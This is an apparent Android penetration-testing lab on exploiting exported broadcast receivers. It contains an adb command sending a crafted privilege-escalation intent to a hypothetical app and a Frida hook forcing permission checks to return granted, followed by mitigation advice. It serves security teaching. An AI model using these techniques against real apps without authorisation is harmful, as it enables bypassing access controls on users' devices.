Android App Penetration Testing & Frida Hooks

Hands-on Lab: Exploiting Android Broadcast Receivers for Privilege Escalation

Google AdSense Native Placement - Horizontal Top-Post banner

Introduction: Understanding Android IPC and Broadcast Receivers

Android applications rely heavily on Inter-Process Communication (IPC) mechanisms to interact with each other and the system. Broadcast Receivers are one such fundamental component, designed to respond to system-wide broadcast announcements (e.g., battery low, SMS received) or custom application-specific broadcasts. While essential, misconfigurations or insecure implementations of Broadcast Receivers can open doors to significant security vulnerabilities, including privilege escalation.

This hands-on lab will guide you through the process of identifying and exploiting insecure Broadcast Receivers in Android applications. We’ll cover static and dynamic analysis techniques, crafting malicious intents, and leveraging Frida for dynamic instrumentation to demonstrate how a low-privileged app or an attacker can trigger unintended functionality or gain elevated privileges.

Prerequisites and Lab Setup

To follow along with this lab, you’ll need the following tools and a basic understanding of Android development and penetration testing concepts:

  • Android SDK with ADB (Android Debug Bridge)
  • A rooted Android device or emulator (Android 7.0+ recommended for Frida)
  • Frida-server installed on the device/emulator
  • Frida-tools and Objection (optional, but highly recommended) on your host machine
  • A vulnerable Android application (for demonstration purposes, we’ll outline a hypothetical vulnerable receiver)

Ensure ADB is configured and your device is accessible:

adb devices

You should see your device listed. Then, push and run Frida server:

adb push frida-server /data/local/tmp/adb shell "chmod 755 /data/local/tmp/frida-server"adb shell "/data/local/tmp/frida-server &"

Identifying Vulnerable Broadcast Receivers

Static Analysis: AndroidManifest.xml

The primary source for identifying Broadcast Receivers and their configurations is the AndroidManifest.xml file. Receivers can be declared explicitly and often include <intent-filter> tags that specify the types of intents they are interested in. Key attributes to look for are android:exported="true" and the absence of a android:permission attribute.

A receiver declared with android:exported="true" (or implicitly exported if it has an intent filter and targetSdkVersion is less than 31) and without a strong custom permission can be invoked by any application on the device.

Consider this hypothetical vulnerable receiver declaration:

<receiver android:name=".VulnerableReceiver" android:exported="true">    <intent-filter>        <action android:name="com.example.VULNERABLE_ACTION" />        <category android:name="android.intent.category.DEFAULT" />    </intent-filter></receiver>

Here, VulnerableReceiver is explicitly exported and listens for com.example.VULNERABLE_ACTION. If this receiver performs sensitive operations based on intent extras without proper validation, it’s a prime target.

Dynamic Analysis: Monitoring Broadcasts with logcat and Frida

While static analysis helps identify potential targets, dynamic analysis confirms their behavior and can reveal implicit receivers or runtime intent processing. logcat can show system broadcasts, but Frida provides more granular control.

To monitor all outgoing broadcasts from an application using Frida, you can hook the ContextWrapper.sendBroadcast method:

Java.perform(function () {    var ActivityThread = Java.use("android.app.ActivityThread");    var app = ActivityThread.currentApplication();    var context = app.getApplicationContext();    var ContextWrapper = Java.use("android.content.ContextWrapper");    ContextWrapper.sendBroadcast.overload('android.content.Intent').implementation = function (intent) {        var intentStr = intent.toString();        console.log("[*] sendBroadcast: " + intentStr);        // You can inspect or modify the intent here        this.sendBroadcast(intent);    };    ContextWrapper.sendBroadcast.overload('android.content.Intent', 'java.lang.String').implementation = function (intent, receiverPermission) {        var intentStr = intent.toString();        console.log("[*] sendBroadcast (permission): " + intentStr + ", Permission: " + receiverPermission);        this.sendBroadcast(intent, receiverPermission);    };});

Attach this script to your target application’s package using frida -U -f com.example.vulnerableapp -l broadcast_monitor.js --no-pause. Interact with the app, and you’ll see the broadcasts it sends.

Exploiting Insecure Broadcast Receivers

Let’s assume our VulnerableReceiver in com.example.vulnerableapp has the following (simplified) onReceive implementation:

public class VulnerableReceiver extends BroadcastReceiver {    private static final String ACTION_VULNERABLE = "com.example.VULNERABLE_ACTION";    private static final String EXTRA_COMMAND = "command";    private static final String EXTRA_ARGS = "args";    @Override    public void onReceive(Context context, Intent intent) {        if (intent != null && ACTION_VULNERABLE.equals(intent.getAction())) {            String command = intent.getStringExtra(EXTRA_COMMAND);            String args = intent.getStringExtra(EXTRA_ARGS);            if ("elevate_privileges".equals(command)) {                // This is the critical part - imagine this grants some sensitive permission                // or performs an operation that only a privileged app should do.                // For demonstration, let's just log it.                Log.e("VulnerableReceiver", "Privilege escalation command received!");                // In a real scenario, this might involve:                // - Writing to sensitive files                // - Launching privileged components                // - Modifying security settings                // - ... without proper permission checks!                performPrivilegeElevation(context, args);            } else if ("log_message".equals(command)) {                Log.i("VulnerableReceiver", "Received log message: " + args);            }        }    }    private void performPrivilegeElevation(Context context, String args) {        // Placeholder for sensitive operation        Log.e("VulnerableReceiver", "Executing privileged operation with args: " + args);        // Example: context.grantUriPermission(...) or System.exec(...)    }}

Since this receiver is exported and lacks permission checks, an attacker can directly invoke it using adb shell am broadcast.

Crafting Malicious Intents with ADB

Using ADB, we can craft an intent to trigger the elevate_privileges command:

adb shell am broadcast -a com.example.VULNERABLE_ACTION -n com.example.vulnerableapp/.VulnerableReceiver --es command "elevate_privileges" --es args "ATTACKER_CONTROLLED_ARGUMENT"

Explanation of the command:

  • -a com.example.VULNERABLE_ACTION: Specifies the action string the receiver listens for.
  • -n com.example.vulnerableapp/.VulnerableReceiver: Explicitly targets the component by its package name and receiver class.
  • --es command "elevate_privileges": Adds a string extra named “command” with the value “elevate_privileges”.
  • --es args "ATTACKER_CONTROLLED_ARGUMENT": Adds another string extra named “args” with an attacker-controlled value.

After executing this command, you would observe the logs from the target application (via adb logcat | grep VulnerableReceiver) confirming the execution of the “privilege escalation” logic, demonstrating the exploit’s success.

Advanced Exploitation with Frida: Bypassing Checks (if present)

What if the receiver had a basic permission check that the attacker’s app doesn’t possess? Frida can be used to bypass these runtime checks. For instance, if onReceive had a checkCallingPermission call:

if (context.checkCallingOrSelfPermission("com.example.permission.PRIVILEGED_ACCESS") != PackageManager.PERMISSION_GRANTED) {    Log.w("VulnerableReceiver", "Insufficient permissions!");    return;}

We could hook checkCallingOrSelfPermission and force it to return PackageManager.PERMISSION_GRANTED:

Java.perform(function () {    var PackageManager = Java.use("android.content.pm.PackageManager");    var ContextImpl = Java.use("android.app.ContextImpl"); // or a similar context class    ContextImpl.checkCallingOrSelfPermission.implementation = function (permission) {        console.log("[*] Bypassing permission check for: " + permission);        if (permission.includes("com.example.permission.PRIVILEGED_ACCESS")) {            return PackageManager.PERMISSION_GRANTED.value; // Force granted        }        return this.checkCallingOrSelfPermission(permission);    };});

Attach this Frida script before sending your malicious intent. The receiver would then proceed with its sensitive operation, believing the caller had the necessary permissions, even though it didn’t.

Mitigation Strategies

To prevent Broadcast Receiver exploitation, developers should adhere to the principle of least privilege:

  • Limit Exported Receivers: Set android:exported="false" for receivers that are not intended for inter-application communication. This is the default behavior for receivers without intent filters in recent Android versions (API 31+).
  • Implement Custom Permissions: For receivers that *must* be exported, protect them with custom permissions (e.g., <permission android:name="com.example.PERMISSION" android:protectionLevel="signature" />). Ensure the protection level is appropriate.
  • Validate Intent Extras: Never implicitly trust data received via intents. Always validate and sanitize all intent extras before using them in sensitive operations.
  • Avoid Sensitive Operations: Broadcast Receivers should primarily perform lightweight, non-sensitive tasks. If a sensitive operation is required, it should be delegated to a privileged service or component with robust permission checks.

Conclusion

Insecure Broadcast Receivers represent a significant attack surface in Android applications. By understanding how they are declared and interact with intents, attackers can leverage them to trigger unintended functionality, bypass security checks, and potentially achieve privilege escalation. As demonstrated, both static analysis of AndroidManifest.xml and dynamic instrumentation with Frida are powerful tools for identifying and exploiting these vulnerabilities. For developers, a strong focus on proper component export, rigorous permission enforcement, and input validation is crucial to building secure Android applications.

Android Mobile Specs & Compare Directory

Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!

Compare Devices Specs →
Google AdSense Inline Placement - Content Footer banner